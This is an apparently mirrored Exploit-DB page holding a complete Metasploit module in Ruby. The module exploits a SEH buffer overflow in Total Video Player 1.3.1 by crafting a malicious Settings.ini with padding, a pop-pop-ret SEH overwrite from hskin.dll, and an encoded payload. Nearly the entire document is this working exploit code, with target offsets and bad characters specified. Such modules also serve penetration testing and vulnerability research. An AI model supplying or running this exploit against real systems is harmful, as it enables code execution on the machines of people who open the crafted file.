Total Video Player 1.3.1 – ‘Settings.ini’ Local Buffer Overflow (SEH) (Metasploit) - 体验盒子

作者： Metasploit

日期： 2014-02-28

类别：

local

平台：

windows

来源：https://www.exploit-db.com/exploits/31988/

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Seh

def initialize(info = {})
super(update_info(info,
'Name'=> 'Total Video Player 1.3.1 (Settings.ini) - SEH Buffer Overflow',
'Description'=> %q{
This module exploits a buffer overflow in Total Video Player 1.3.1. The vulnerability
occurs opening malformed Settings.ini file e.g."C:\Program Files\Total Video Player\".
This module has been tested successfully over Windows WinXp-Sp3-EN, Windows 7, Windows 8.
},
'License'=> MSF_LICENSE,
'Author'=>
[
'Mike Czumak', # (T_v3rn1x) -- @SecuritySift 
'Fr330wn4g3 <Fr330wn4g3[at]gmail.com>' # Metasploit module
],
'References'=>
[
[ 'OSVDB', '100619' ],
[ 'EDB', '29799' ]
],
'DefaultOptions' =>
{
'ExitFunction' => 'process',
},
'Platform'=> 'win',
'Payload'=>
{
'BadChars' => "\x00\x0a\x0d\xff",
'Space' => 1787,
'DisableNops' => true,
},

'Targets'=>
[
[ 'Windows Universal',
{
'Ret' =>0x10012848, # pop ebx # pop ecx # ret- hskin.dll
'Offset'=>256
}
],
],
'Privileged'=> false,
'DisclosureDate'=> 'Nov 24 2013',
'DefaultTarget'=> 0))

register_options([OptString.new('FILENAME', [ false, 'The file name.', 'Settings.ini']),], self.class)

end

def exploit

buffer = "[Support Groups]\r\nVideo="
buffer << rand_text(target['Offset'])
buffer << generate_seh_payload(target.ret)
buffer << payload.encoded 
buffer << "\r\n[AssociateType]\r\nAssociateType =1"

file_create(buffer)

end
end